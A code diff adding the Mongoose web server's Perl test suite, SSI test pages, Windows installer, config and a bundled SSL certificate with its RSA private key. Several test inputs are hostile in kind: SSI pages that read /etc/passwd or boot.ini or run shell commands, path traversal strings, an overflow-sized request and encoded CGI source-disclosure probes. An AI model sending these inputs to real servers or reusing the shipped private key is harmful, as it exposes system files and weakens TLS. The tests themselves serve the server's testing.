+ssi_begin
+<!--#include file="Makefile" -->
+ssi_end
+</pre></html>

+ 5 - 0
test/ssi2.shtml

@@ -0,0 +1,5 @@
+<html><pre>
+ssi_begin
+<!--#include virtual="embed.c" -->
+ssi_end
+</pre></html>

+ 5 - 0
test/ssi3.shtml

@@ -0,0 +1,5 @@
+<html><pre>
+ssi_begin
+<!--#exec "ls -l" -->
+ssi_end
+</pre></html>

+ 5 - 0
test/ssi4.shtml

@@ -0,0 +1,5 @@
+<html><pre>
+ssi_begin
+<!--#exec "dir /w" -->
+ssi_end
+</pre></html>

+ 5 - 0
test/ssi5.shtml

@@ -0,0 +1,5 @@
+<html><pre>
+ssi_begin
+<!--#include file="/etc/passwd" -->
+ssi_end
+</pre></html>

+ 5 - 0
test/ssi6.shtml

@@ -0,0 +1,5 @@
+<html><pre>
+ssi_begin
+<!--#include file="c:\boot.ini" -->
+ssi_end
+</pre></html>

+ 6 - 0
test/ssi7.shtml

@@ -0,0 +1,6 @@
+
+<html><pre>
+ssi_begin
+<!--#include "embed.c" -->
+ssi_end
+</pre></html>

+ 1 - 0
test/ssi8.shtml

@@ -0,0 +1 @@
+<!--#include "ssi9.shtml" -->

+ 3 - 0
test/ssi9.shtml

@@ -0,0 +1,3 @@
+ssi_begin
+<!--#include file="Makefile" -->
+ssi_end

+ 458 - 0
test/test.pl

@@ -0,0 +1,458 @@
+#!/usr/bin/env perl
+# This script is used to test Mongoose web server
+# $Id: test.pl 516 2010-05-03 12:54:37Z valenok $
+
+use IO::Socket;
+use File::Path;
+use strict;
+use warnings;
+#use diagnostics;
+
+sub on_windows { $^O =~ /win32/i; }
+
+my $port = 23456;
+my $pid = undef;
+my $num_requests;
+my $root = 'test';
+my $dir_separator = on_windows() ? '\\' : '/';
+my $copy_cmd = on_windows() ? 'copy' : 'cp';
+my $test_dir_uri = "test_dir";
+my $test_dir = $root . $dir_separator. $test_dir_uri;
+my $alias = "/aliased=/etc/,/ta=$test_dir";
+my $config = 'mongoose.conf';
+my $exe = '.' . $dir_separator . 'mongoose';
+my $embed_exe = '.' . $dir_separator . 'embed';
+my $unit_test_exe = '.' . $dir_separator . 'unit_test';
+my $exit_code = 0;
+
+my @files_to_delete = ('debug.log', 'access.log', $config, "$root/put.txt",
+  "$root/a+.txt", "$root/.htpasswd", "$root/binary_file",
+  $embed_exe, $unit_test_exe);
+
+END {
+  unlink @files_to_delete;
+  kill_spawned_child();
+  File::Path::rmtree($test_dir);
+  exit $exit_code;
+}
+
+sub fail {
+  print "FAILED: @_\n";
+  $exit_code = 1;
+  exit 1;
+}
+
+sub get_num_of_log_entries {
+  open FD, "access.log" or return 0;
+  my @lines = (<FD>);
+  close FD;
+  return scalar @lines;
+}
+
+# Send the request to the 127.0.0.1:$port and return the reply
+sub req {
+  my ($request, $inc) = @_;
+  my $sock = IO::Socket::INET->new(Proto=>"tcp",
+    PeerAddr=>'127.0.0.1', PeerPort=>$port);
+  fail("Cannot connect: $!") unless $sock;
+  $sock->autoflush(1);
+  foreach my $byte (split //, $request) {
+    last unless print $sock $byte;
+    select undef, undef, undef, .001 if length($request) < 256;
+  }
+  my @lines = <$sock>;
+  my $out = join '', @lines;
+  close $sock;
+
+  $num_requests += defined($inc) ? $inc : 1;
+  my $num_logs = get_num_of_log_entries();
+
+  unless ($num_requests == $num_logs) {
+    fail("Request has not been logged: [$request], output: [$out]");
+  }
+
+  return $out;
+}
+
+# Send the request. Compare with the expected reply. Fail if no match
+sub o {
+  my ($request, $expected_reply, $message, $num_logs) = @_;
+  print "==> Testing $message ... ";
+  my $reply = req($request, $num_logs);
+  if ($reply =~ /$expected_reply/s) {
+    print "OK\n";
+  } else {
+    fail("Requested: [$request]\nExpected: [$expected_reply], got: [$reply]");
+  }
+}
+
+# Spawn a server listening on specified port
+sub spawn {
+  my ($cmdline) = @_;
+  if (on_windows()) {
+    my @args = split /\s+/, $cmdline;
+    my $executable = $args[0];
+    $executable .= '.exe';
+    Win32::Spawn($executable, $cmdline, $pid);
+    die "Cannot spawn @_: $!" unless $pid;
+  } else {
+    unless ($pid = fork()) {
+      exec $cmdline;
+      die "cannot exec [$cmdline]: $!\n";
+    }
+  }
+  sleep 1;
+}
+
+sub write_file {
+  open FD, ">$_[0]" or fail "Cannot open $_[0]: $!";
+  binmode FD;
+  print FD $_[1];
+  close FD;
+}
+
+sub read_file {
+  open FD, $_[0] or fail "Cannot open $_[0]: $!";
+  my @lines = <FD>;
+  close FD;
+  return join '', @lines;
+}
+
+sub kill_spawned_child {
+  if (defined($pid)) {
+    kill(9, $pid);
+    waitpid($pid, 0);
+  }
+}
+
+####################################################### ENTRY POINT
+
+unlink @files_to_delete;
+$SIG{PIPE} = 'IGNORE';
+#local $| =1;
+
+# Make sure we export only symbols that start with "mg_", and keep local
+# symbols static.
+if ($^O =~ /darwin|bsd|linux/) {
+  my $out = `(cc -c mongoose.c && nm mongoose.o) | grep ' T '`;
+  foreach (split /\n/, $out) {
+    /T\s+_?mg_.+/ or fail("Exported symbol $_")
+  }
+}
+
+if (scalar(@ARGV) > 0 and $ARGV[0] eq 'embedded') {
+  do_embedded_test();
+  exit 0;
+}
+
+# Make sure we load config file if no options are given
+write_file($config, "ports 12345\naccess_log access.log\n");
+spawn($exe);
+my $saved_port = $port;
+$port = 12345;
+o("GET /test/hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'Loading config file');
+$port = $saved_port;
+unlink $config;
+kill_spawned_child();
+
+# Spawn the server on port $port
+my $cmd = "$exe -ports $port -access_log access.log -error_log debug.log ".
+"-cgi_env CGI_FOO=foo,CGI_BAR=bar,CGI_BAZ=baz " .
+"-mime_types .bar=foo/bar,.tar.gz=blah,.baz=foo " .
+"-root test -aliases $alias -admin_uri /hh";
+$cmd .= ' -cgi_interp perl' if on_windows();
+spawn($cmd);
+
+# Try to overflow: Send very long request
+req('POST ' . '/..' x 100 . 'ABCD' x 3000 . "\n\n", 0); # don't log this one
+
+o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET regular file');
+o("GET /hello.txt HTTP/1.0\n\n", 'Content-Length: 17\s',
+  'GET regular file Content-Length');
+o("GET /%68%65%6c%6c%6f%2e%74%78%74 HTTP/1.0\n\n",
+  'HTTP/1.1 200 OK', 'URL-decoding');
+
+# '+' in URI must not be URL-decoded to space
+write_file("$root/a+.txt", '');
+o("GET /a+.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'URL-decoding, + in URI');
+
+#o("GET /hh HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET admin URI');
+
+# Test HTTP version parsing
+o("GET / HTTPX/1.0\r\n\r\n", '400 Bad Request', 'Bad HTTP Version', 0);
+o("GET / HTTP/x.1\r\n\r\n", '505 HTTP', 'Bad HTTP maj Version');
+o("GET / HTTP/1.1z\r\n\r\n", '505 HTTP', 'Bad HTTP min Version');
+o("GET / HTTP/02.0\r\n\r\n", '505 HTTP version not supported',
+  'HTTP Version >1.1');
+
+# File with leading single dot
+o("GET /.leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 1');
+o("GET /...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 2');
+o("GET /../\\\\/.//...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 3');
+o("GET .. HTTP/1.0\n\n", '400 Bad Request', 'Leading dot 4', 0);
+
+mkdir $test_dir unless -d $test_dir;
+o("GET /$test_dir_uri/not_exist HTTP/1.0\n\n",
+  'HTTP/1.1 404', 'PATH_INFO loop problem');
+o("GET /$test_dir_uri HTTP/1.0\n\n", 'HTTP/1.1 301', 'Directory redirection');
+o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'Modified', 'Directory listing');
+write_file("$test_dir/index.html", "tralala");
+o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'tralala', 'Index substitution');
+o("GET / HTTP/1.0\n\n", 'embed.c', 'Directory listing - file name');
+o("GET /ta/ HTTP/1.0\n\n", 'Modified', 'Aliases');
+o("GET /not-exist HTTP/1.0\r\n\n", 'HTTP/1.1 404', 'Not existent file');
+mkdir $test_dir . $dir_separator . 'x';
+my $path = $test_dir . $dir_separator . 'x' . $dir_separator . 'index.cgi';
+write_file($path, read_file($root . $dir_separator . 'env.cgi'));
+chmod 0755, $path;
+o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", "Content-Type: text/html\r\n\r\n",
+  'index.cgi execution');
+o("GET /ta/x/ HTTP/1.0\n\n", "SCRIPT_NAME=/ta/x/index.cgi",
+  'Aliases SCRIPT_NAME');
+
+my $mime_types = {
+  html => 'text/html',
+  htm => 'text/html',
+  txt => 'text/plain',
+  unknown_extension => 'text/plain',
+  js => 'application/x-javascript',
+  css => 'text/css',
+  jpg => 'image/jpeg',
+  c => 'text/plain',
+  'tar.gz' => 'blah',
+  bar => 'foo/bar',
+  baz => 'foo',
+};
+
+foreach my $key (keys %$mime_types) {
+  my $filename = "_mime_file_test.$key";
+  write_file("$root/$filename", '');
+  o("GET /$filename HTTP/1.0\n\n",
+    "Content-Type: $mime_types->{$key}", ".$key mime type");
+  unlink "$root/$filename";
+}
+
+# Get binary file and check the integrity
+my $binary_file = 'binary_file';
+my $f2 = '';
+foreach (0..123456) { $f2 .= chr(int(rand() * 255)); }
+write_file("$root/$binary_file", $f2);
+my $f1 = req("GET /$binary_file HTTP/1.0\r\n\n");
+while ($f1 =~ /^.*\r\n/) { $f1 =~ s/^.*\r\n// }
+$f1 eq $f2 or fail("Integrity check for downloaded binary file");
+
+my $range_request = "GET /hello.txt HTTP/1.1\nConnection: close\n".
+"Range: bytes=3-5\r\n\r\n";
+o($range_request, '206 Partial Content', 'Range: 206 status code');
+o($range_request, 'Content-Length: 3\s', 'Range: Content-Length');
+o($range_request, 'Content-Range: bytes 3-5/17', 'Range: Content-Range');
+o($range_request, '\nple$', 'Range: body content');
+
+# Test directory sorting. Sleep between file creation for 1.1 seconds,
+# to make sure modification time are different.
+mkdir "$test_dir/sort";
+write_file("$test_dir/sort/11", 'xx');
+select undef, undef, undef, 1.1;
+write_file("$test_dir/sort/aa", 'xxxx');
+select undef, undef, undef, 1.1;
+write_file("$test_dir/sort/bb", 'xxx');
+select undef, undef, undef, 1.1;
+write_file("$test_dir/sort/22", 'x');
+
+o("GET /$test_dir_uri/sort/?n HTTP/1.0\n\n",
+  '200 OK.+>11<.+>22<.+>aa<.+>bb<',
+  'Directory listing (name, ascending)');
+o("GET /$test_dir_uri/sort/?nd HTTP/1.0\n\n",
+  '200 OK.+>bb<.+>aa<.+>22<.+>11<',
+  'Directory listing (name, descending)');
+o("GET /$test_dir_uri/sort/?s HTTP/1.0\n\n",
+  '200 OK.+>22<.+>11<.+>bb<.+>aa<',
+  'Directory listing (size, ascending)');
+o("GET /$test_dir_uri/sort/?sd HTTP/1.0\n\n",
+  '200 OK.+>aa<.+>bb<.+>11<.+>22<',
+  'Directory listing (size, descending)');
+o("GET /$test_dir_uri/sort/?d HTTP/1.0\n\n",
+  '200 OK.+>11<.+>aa<.+>bb<.+>22<',
+  'Directory listing (modification time, ascending)');
+o("GET /$test_dir_uri/sort/?dd HTTP/1.0\n\n",
+  '200 OK.+>22<.+>bb<.+>aa<.+>11<',
+  'Directory listing (modification time, descending)');
+
+unless (scalar(@ARGV) > 0 and $ARGV[0] eq "basic_tests") {
+  # Check that .htpasswd file existence trigger authorization
+  write_file("$root/.htpasswd", '');
+  o("GET /hello.txt HTTP/1.1\n\n", '401 Unauthorized',
+    '.htpasswd - triggering auth on file request');
+  o("GET / HTTP/1.1\n\n", '401 Unauthorized',
+    '.htpasswd - triggering auth on directory request');
+  unlink "$root/.htpasswd";
+
+  o("GET /env.cgi HTTP/1.0\n\r\n", 'HTTP/1.1 200 OK', 'GET CGI file');
+  o("GET /sh.cgi HTTP/1.0\n\r\n", 'shell script CGI',
+    'GET sh CGI file') unless on_windows();
+  o("GET /env.cgi?var=HELLO HTTP/1.0\n\n", 'QUERY_STRING=var=HELLO',
+    'QUERY_STRING wrong');
+  o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
+    'var=HELLO', 'CGI POST wrong');
+  o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
+    '\x0aCONTENT_LENGTH=9', 'Content-Length not being passed to CGI');
+  o("GET /env.cgi HTTP/1.0\nMy-HdR: abc\n\r\n",
+    'HTTP_MY_HDR=abc', 'HTTP_* env');
+  o("GET /env.cgi HTTP/1.0\n\r\nSOME_TRAILING_DATA_HERE",
+    'HTTP/1.1 200 OK', 'GET CGI with trailing data');
+
+  o("GET /env.cgi%20 HTTP/1.0\n\r\n",
+    'HTTP/1.1 404', 'CGI Win32 code disclosure (%20)');
+  o("GET /env.cgi%ff HTTP/1.0\n\r\n",
+    'HTTP/1.1 404', 'CGI Win32 code disclosure (%ff)');
+  o("GET /env.cgi%2e HTTP/1.0\n\r\n",
+    'HTTP/1.1 404', 'CGI Win32 code disclosure (%2e)');
+  o("GET /env.cgi%2b HTTP/1.0\n\r\n",
+    'HTTP/1.1 404', 'CGI Win32 code disclosure (%2b)');
+  o("GET /env.cgi HTTP/1.0\n\r\n", '\nHTTPS=off\n', 'CGI HTTPS');
+  o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_FOO=foo\n', '-cgi_env 1');
+  o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAR=bar\n', '-cgi_env 2');
+  o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAZ=baz\n', '-cgi_env 3');
+
+  # Check that CGI's current directory is set to script's directory
+  my $copy_cmd = on_windows() ? 'copy' : 'cp';
+  system("$copy_cmd $root" . $dir_separator .  "env.cgi $test_dir" .
+    $dir_separator . 'env.cgi');
+  o("GET /$test_dir_uri/env.cgi HTTP/1.0\n\n",
+    "CURRENT_DIR=.*$root/$test_dir_uri", "CGI chdir()");
+
+  # SSI tests
+  o("GET /ssi1.shtml HTTP/1.0\n\n",
+    'ssi_begin.+CFLAGS.+ssi_end', 'SSI #include file=');
+  o("GET /ssi2.shtml HTTP/1.0\n\n",
+    'ssi_begin.+Unit test.+ssi_end', 'SSI #include virtual=');
+  my $ssi_exec = on_windows() ? 'ssi4.shtml' : 'ssi3.shtml';
+  o("GET /$ssi_exec HTTP/1.0\n\n",
+    'ssi_begin.+Makefile.+ssi_end', 'SSI #exec');
+  my $abs_path = on_windows() ? 'ssi6.shtml' : 'ssi5.shtml';
+  my $word = on_windows() ? 'boot loader' : 'root';
+  o("GET /$abs_path HTTP/1.0\n\n",
+    "ssi_begin.+$word.+ssi_end", 'SSI #include file= (absolute)');
+  o("GET /ssi7.shtml HTTP/1.0\n\n",
+    'ssi_begin.+Unit test.+ssi_end', 'SSI #include "..."');
+  o("GET /ssi8.shtml HTTP/1.0\n\n",
+    'ssi_begin.+CFLAGS.+ssi_end', 'SSI nested #includes');
+
+  # Manipulate the passwords file
+  my $path = 'test_htpasswd';
+  unlink $path;
+  system("$exe -A $path a b c") == 0
+    or fail("Cannot add user in a passwd file");
+  system("$exe -A $path a b c2") == 0
+    or fail("Cannot edit user in a passwd file");
+  my $content = read_file($path);
+  $content =~ /^b:a:\w+$/gs or fail("Bad content of the passwd file");
+  unlink $path;
+
+  kill_spawned_child();
+  do_PUT_test();
+  #do_embedded_test();
+}
+
+sub do_PUT_test {
+  $cmd .= ' -auth_PUT test/passfile';
+  spawn($cmd);
+
+  my $auth_header = "Authorization: Digest  username=guest, ".
+  "realm=mydomain.com, nonce=1145872809, uri=/put.txt, ".
+  "response=896327350763836180c61d87578037d9, qop=auth, ".
+  "nc=00000002, cnonce=53eddd3be4e26a98\n";
+
+  o("PUT /put.txt HTTP/1.0\nContent-Length: 7\n$auth_header\n1234567",
+    "HTTP/1.1 201 OK", 'PUT file, status 201');
+  fail("PUT content mismatch")
+  unless read_file("$root/put.txt") eq '1234567';
+  o("PUT /put.txt HTTP/1.0\nContent-Length: 4\n$auth_header\nabcd",
+    "HTTP/1.1 200 OK", 'PUT file, status 200');
+  fail("PUT content mismatch")
+  unless read_file("$root/put.txt") eq 'abcd';
+  o("PUT /put.txt HTTP/1.0\n$auth_header\nabcd",
+    "HTTP/1.1 411 Length Required", 'PUT 411 error');
+  o("PUT /put.txt HTTP/1.0\nExpect: blah\nContent-Length: 1\n".
+    "$auth_header\nabcd",
+    "HTTP/1.1 417 Expectation Failed", 'PUT 417 error');
+  o("PUT /put.txt HTTP/1.0\nExpect: 100-continue\nContent-Length: 4\n".
+    "$auth_header\nabcd",
+    "HTTP/1.1 100 Continue.+HTTP/1.1 200", 'PUT 100-Continue');
+  kill_spawned_child();
+}
+
+sub do_embedded_test {
+  my $cmd = "cc -o $embed_exe $root/embed.c mongoose.c -I. ".
+  "-DNO_SSL -lpthread -DLISTENING_PORT=\\\"$port\\\"";
+  if (on_windows()) {
+    $cmd = "cl $root/embed.c mongoose.c /I. /nologo ".
+    "/DNO_SSL /DLISTENING_PORT=\\\"$port\\\" ".
+    "/link /out:$embed_exe.exe ws2_32.lib ";
+  }
+  print $cmd, "\n";
+  system($cmd) == 0 or fail("Cannot compile embedded unit test");
+
+  spawn("./$embed_exe");
+  o("GET /test_get_header HTTP/1.0\nHost: blah\n\n",
+    'Value: \[blah\]', 'mg_get_header', 0);
+  o("GET /test_get_var?a=b&my_var=foo&c=d HTTP/1.0\n\n",
+    'Value: \[foo\]', 'mg_get_var 1', 0);
+  o("GET /test_get_var?my_var=foo&c=d HTTP/1.0\n\n",
+    'Value: \[foo\]', 'mg_get_var 2', 0);
+  o("GET /test_get_var?a=b&my_var=foo HTTP/1.0\n\n",
+    'Value: \[foo\]', 'mg_get_var 3', 0);
+  o("POST /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
+    "my_var=foo", 'Value: \[foo\]', 'mg_get_var 4', 0);
+  o("POST /test_get_var HTTP/1.0\nContent-Length: 18\n\n".
+    "a=b&my_var=foo&c=d", 'Value: \[foo\]', 'mg_get_var 5', 0);
+  o("POST /test_get_var HTTP/1.0\nContent-Length: 14\n\n".
+    "a=b&my_var=foo", 'Value: \[foo\]', 'mg_get_var 6', 0);
+  o("GET /test_get_var?a=one%2btwo&my_var=foo& HTTP/1.0\n\n",
+    'Value: \[foo\]', 'mg_get_var 7', 0);
+  o("GET /test_get_var?my_var=one%2btwo&b=two%2b HTTP/1.0\n\n",
+    'Value: \[one\+two\]', 'mg_get_var 8', 0);
+
+  # + in form data MUST be decoded to space
+  o("POST /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
+    "my_var=b+c", 'Value: \[b c\]', 'mg_get_var 7', 0);
+
+  # Test that big POSTed vars are not truncated
+  my $my_var = 'x' x 64000;
+  o("POST /test_get_var HTTP/1.0\nContent-Length: 64007\n\n".
+    "my_var=$my_var", 'Value size: \[64000\]', 'mg_get_var 8', 0);
+
+  # Test PUT
+  o("PUT /put HTTP/1.0\nContent-Length: 3\n\nabc",
+    '\nabc$', 'put callback', 0);
+
+  o("POST /test_get_request_info?xx=yy HTTP/1.0\nFoo: bar\n".
+    "Content-Length: 3\n\na=b",
+    'Method: \[POST\].URI: \[/test_get_request_info\].'.
+    'HTTP version: \[1.0\].HTTP header \[Foo\]: \[bar\].'.
+    'HTTP header \[Content-Length\]: \[3\].'.
+    'Query string: \[xx=yy\].POST data: \[a=b\].'.
+    'Remote IP: \[\d+\].Remote port: \[\d+\].'.
+    'Remote user: \[\]'
+    , 'request_info', 0);
+  o("GET /not_exist HTTP/1.0\n\n", 'Error: \[404\]', '404 handler', 0);
+  o("bad request\n\n", 'Error: \[400\]', '* error handler', 0);
+  o("GET /test_user_data HTTP/1.0\n\n",
+    'User data: \[1234\]', 'user data in callback', 0);
+#	o("GET /foo/secret HTTP/1.0\n\n",
+#		'401 Unauthorized', 'mg_protect_uri', 0);
+#	o("GET /foo/secret HTTP/1.0\nAuthorization: Digest username=bill\n\n",
+#		'401 Unauthorized', 'mg_protect_uri (bill)', 0);
+#	o("GET /foo/secret HTTP/1.0\nAuthorization: Digest username=joe\n\n",
+#		'200 OK', 'mg_protect_uri (joe)', 0);
+
+  # Test un-binding the URI
+  o("GET /foo/bar HTTP/1.0\n\n", 'HTTP/1.1 200 OK', '/foo bound', 0);
+  o("GET /test_remove_callback HTTP/1.0\n\n",
+    'Removing callbacks', 'Callback removal', 0);
+  o("GET /foo/bar HTTP/1.0\n\n", 'HTTP/1.1 404', '/foo unbound', 0);
+
+  kill_spawned_child();
+}
+
+print "SUCCESS! All tests passed.\n";

+ 28 - 0
test/test_all_build_flags.pl

@@ -0,0 +1,28 @@
+#!/usr/bin/env perl
+
+@flags = ("NO_SSI", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI");
+my $num_flags = @flags;
+
+sub fail {
+	print "FAILED: @_\n";
+	exit 1;
+}
+
+my $platform = $ARGV[0] || "linux";
+
+for (my $i = 0; $i < 2 ** $num_flags; $i++) {
+	my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i);
+	my @combination = ();
+	for (my $j = 0; $j < $num_flags; $j++) {
+		push @combination, $flags[$j] if substr($bitmask, $j, 1);
+	}
+	my $defines = join(" ", map { "-D$_" } @combination);
+	my $cmd = "CFLAGS=\"$defines\" make clean $platform >/dev/null";
+	system($cmd) == 0 or fail "build failed: $_";
+	print "Build succeeded, flags: [$defines]\n";
+	system("perl test/test.pl basic_tests >/dev/null") == 0
+		or fail "basic tests";
+	print "Basic tests: OK\n";
+}
+
+print "PASS: All builds passed!\n";

+ 4 - 0
win32/README.txt

@@ -0,0 +1,4 @@
+For detailed documentation, please visit
+http://code.google.com/p/mongoose/wiki/WindowsUsage
+
+Thanks for using Mongoose!

+ 20 - 0
win32/dll.def

@@ -0,0 +1,20 @@
+LIBRARY
+EXPORTS
+	mg_start
+	mg_stop
+	mg_get_option
+	mg_set_option
+	mg_set_uri_callback
+	mg_set_error_callback
+	mg_set_auth_callback
+	mg_set_ssl_password_callback
+	mg_set_log_callback
+	mg_write
+	mg_printf
+	mg_get_header
+	mg_authorize
+	mg_get_var
+	mg_free
+	mg_version
+	mg_show_usage_string
+	mg_modify_passwords_file

+ 69 - 0
win32/installer.nsi

@@ -0,0 +1,69 @@
+!define VERSION "2.9"
+!define MENUDIR "Mongoose web server"
+!define	SVC "Mongoose ${VERSION}"
+
+OutFile mongoose-${VERSION}.install.exe
+Name "Mongoose ${VERSION}"
+InstallDir C:\mongoose-${VERSION}
+
+Page components
+Page directory
+Page instfiles
+UninstPage uninstConfirm
+UninstPage instfiles
+
+Section "Mongoose files (required)"
+  SectionIn RO
+  SetOutPath $INSTDIR
+  File ..\mongoose.exe
+  File ..\_mongoose.dll
+  File ..\_mongoose.lib
+  File mongoose.conf
+  File README.txt
+  File srvany.exe
+  WriteUninstaller uninstall.exe
+SectionEnd
+
+Section "SSL files"
+  File ssleay32.dll
+  File libeay32.dll
+  File ssl_cert.pem
+
+  # Following lines add full path to the certificate file in the mongoose.conf
+  # The -ssl_cert option must go before -ports option.
+  FileOpen $0 mongoose.conf a
+  FileRead $0 $1
+  FileRead $0 $1
+  FileRead $0 $1
+  FileRead $0 $1
+  FileRead $0 $1
+  FileRead $0 $1
+  FileWrite $0 "ssl_cert	$INSTDIR\ssl_cert.pem"
+  FileClose $0
+SectionEnd
+
+Section "Run Mongoose as service"
+  ExecWait 'sc create "${SVC}" binpath= $INSTDIR\srvany.exe start= auto depend= Tcpip'
+  ExecWait 'sc description "${SVC}" "Web server"'
+  WriteRegStr HKLM "System\CurrentControlSet\Services\${SVC}\Parameters" "Application" "$INSTDIR\mongoose.exe"
+  WriteRegStr HKLM "System\CurrentControlSet\Services\${SVC}\Parameters" "AppDirectory" "$INSTDIR"
+  ExecWait 'sc start "${SVC}"'
+SectionEnd
+
+Section "Create menu shortcuts"
+  CreateDirectory "$SMPROGRAMS\${MENUDIR}"
+  CreateShortCut "$SMPROGRAMS\${MENUDIR}\Start in console.lnk" "$INSTDIR\mongoose.exe"
+  CreateShortCut "$SMPROGRAMS\${MENUDIR}\Edit config.lnk" "notepad" "$INSTDIR\mongoose.conf"
+  CreateShortCut "$SMPROGRAMS\${MENUDIR}\Stop service.lnk" "sc" 'stop "Mongoose ${VERSION}"'
+  CreateShortCut "$SMPROGRAMS\${MENUDIR}\Start service.lnk" "sc" 'start "Mongoose ${VERSION}"'
+  CreateShortCut "$SMPROGRAMS\${MENUDIR}\uninstall.lnk" "$INSTDIR\uninstall.exe"
+SectionEnd
+
+Section "Uninstall"
+  ExecWait 'sc stop "${SVC}"'
+  ExecWait 'sc delete "${SVC}"'
+  Delete "$INSTDIR\*.*"
+  Delete "$SMPROGRAMS\${MENUDIR}\*.*"
+  RMDir "$SMPROGRAMS\${MENUDIR}"
+  RMDir "$INSTDIR"
+SectionEnd

BIN
win32/libeay32.dll


+ 31 - 0
win32/mongoose.conf

@@ -0,0 +1,31 @@
+# Mongoose web server configuration file.
+# Lines starting with '#' and empty lines are ignored.
+# For detailed description of every option, visit
+# http://code.google.com/p/mongoose/wiki/MongooseManual
+
+root            c:\
+                                                                                                                                                                                                                                           
+ports           80,443s
+access_log      c:\mongoose_access_log.txt
+error_log       c:\mongoose_error_log.txt
+
+# NOTE FOR PHP USERS:
+# Correct PHP binary to use is php-cgi.exe, NOT php.exe!
+# cgi_interp    c:\php\php-cgi.exe
+# cgi_interp    c:\perl\bin\perl.exe
+
+# cgi_ext       cgi,pl,php
+# ssi_ext       shtml,shtm
+# auth_realm    mydomain.com
+# dir_list      no
+# index_files   index.html,index.htm,index.php,index.cgi
+# aliases	/my_d_disk=d:\,/my_e_disk=e:\
+# acl           -0.0.0.0/0,+10.0.0.0/8,+192.168.0.0/16
+# admin_uri     /remote_admin
+# protect       /remote_admin=c:\passwords.txt
+# cgi_env       FOO=BAR,BAZ=POO
+# auth_gpass    c:\mongoose_global_web_passwords.txt
+# auth_PUT      c:\mongoose_put_delete_passwords.txt
+# ssl_cert      ssl_cert.pem
+# max_threads	100
+# idle_time	10

BIN
win32/srvany.exe


+ 50 - 0
win32/ssl_cert.pem

@@ -0,0 +1,50 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
+hMSGCcSV6y32hzhqR5lvTViaQez+xhc58NZRu+OUgEhodRBW/vAOjpz/xdMz5HaC
+EhP3E9W1pkitVseS8B5rrgJo1BfCGai1fPav1nutPq2Kj7vMy24+g460Lonf6ln1
+di4aTIRtAqXtUU6RFpPJP35PkCXbTK65O8HJSxxt/XtfoezHCU5+UIwmZGYx46UB
+Wzg3IfK6bGPSiHU3pdiTol0uMPt/GUK+x4NyZJ4/ImsNAicRwMBdja4ywHKXJehH
+gXBthsVIHbL21x+4ibsg9eVM/XioTV6tW3IrdwIDAQABAoIBACFfdLutmkQFBcRN
+HAJNNHmmsyr0vcUOVnXTFyYeDXV67qxrYHQlOHe6LqIpKq1Mon7O2kYMnWvooFAP
+trOnsS6L+qaTYJdYg2TKjgo4ubw1hZXytyB/mdExuaMSkgMgtpia+tB5lD+V+LxN
+x1DesZ+veFMO3Zluyckswt4qM5yVa04YFrt31H0E1rJfIen61lidXIKYmHHWuRxK
+SadjFfbcqJ6P9ZF22BOkleg5Fm5NaxJmyQynOWaAkSZa5w1XySFfRjRfsbDr64G6
++LSG8YtRuvfxnvUNhynVPHcpE40eiPo6v8Ho6yZKXpV5klCKciodXAORsswSoGJa
+N3nnu/ECgYEA6Yb2rM3QUEPIALdL8f/OzZ1GBSdiQB2WSAxzl9pR/dLF2H+0pitS
+to0830mk92ppVmRVD3JGxYDRZQ56tlFXyGaCzJBMRIcsotAhBoNbjV0i9n5bLJYf
+BmjU9yvWcgsTt0tr3B0FrtYyp2tCvwHqlxvFpFdUCj2oRw2uGpkhmNkCgYEA03M6
+WxFhsix3y6eVCVvShfbLBSOqp8l0qiTEty+dgVQcWN4CO/5eyaZXKxlCG9KMmKxy
+Yx+YgxZrDhfaZ0cxhHGPRKEAxM3IKwT2C8/wCaSiLWXZZpTifnSD99vtOt4wEfrG
++AghNd5kamFiM9tU0AyvhJc2vdJFuXrfeC7ntM8CgYBGDA+t4cZcbRhu7ow/OKYF
+kulP3nJgHP/Y+LMrl3cEldZ2jEfZmCElVNQvfd2XwTl7injhOzvzPiKRF3jDez7D
+g8w0JAxceddvttJRK9GoY4l7OoeKpjUELSnEQkf+yUfOsTbXPXVY7jMfeNL6jE6b
+qN7t3qv8rmXtejMBE3G6cQKBgGR5W2BMiRSlxqKx1cKlrApV87BUe1HRCyuR3xuA
+d6Item7Lx1oEi7vb242yKdSYnpApWQ06xTh83Y/Ly87JaIEbiM0+h+P8OEIg0F1a
+iB+86AcUX1I8KseVy+Np0HbpfwP8GrFfA5DaRPK7pXMopEtby8cAJ1XZZaI1/ZvZ
+BebHAoGAcQU9WvCkT+nIp9FpXfBybYUsvgkaizMIqp66/l3GYgYAq8p1VLGvN4v5
+ec0dW58SJrCpqsM3NP78DtEzQf9OOsk+FsjBFzDU2RkeUreyt2/nQBj/2mN/+hEy
+hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
+-----END RSA PRIVATE KEY-----
+-----BEGIN CERTIFICATE-----
+MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
+VTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0
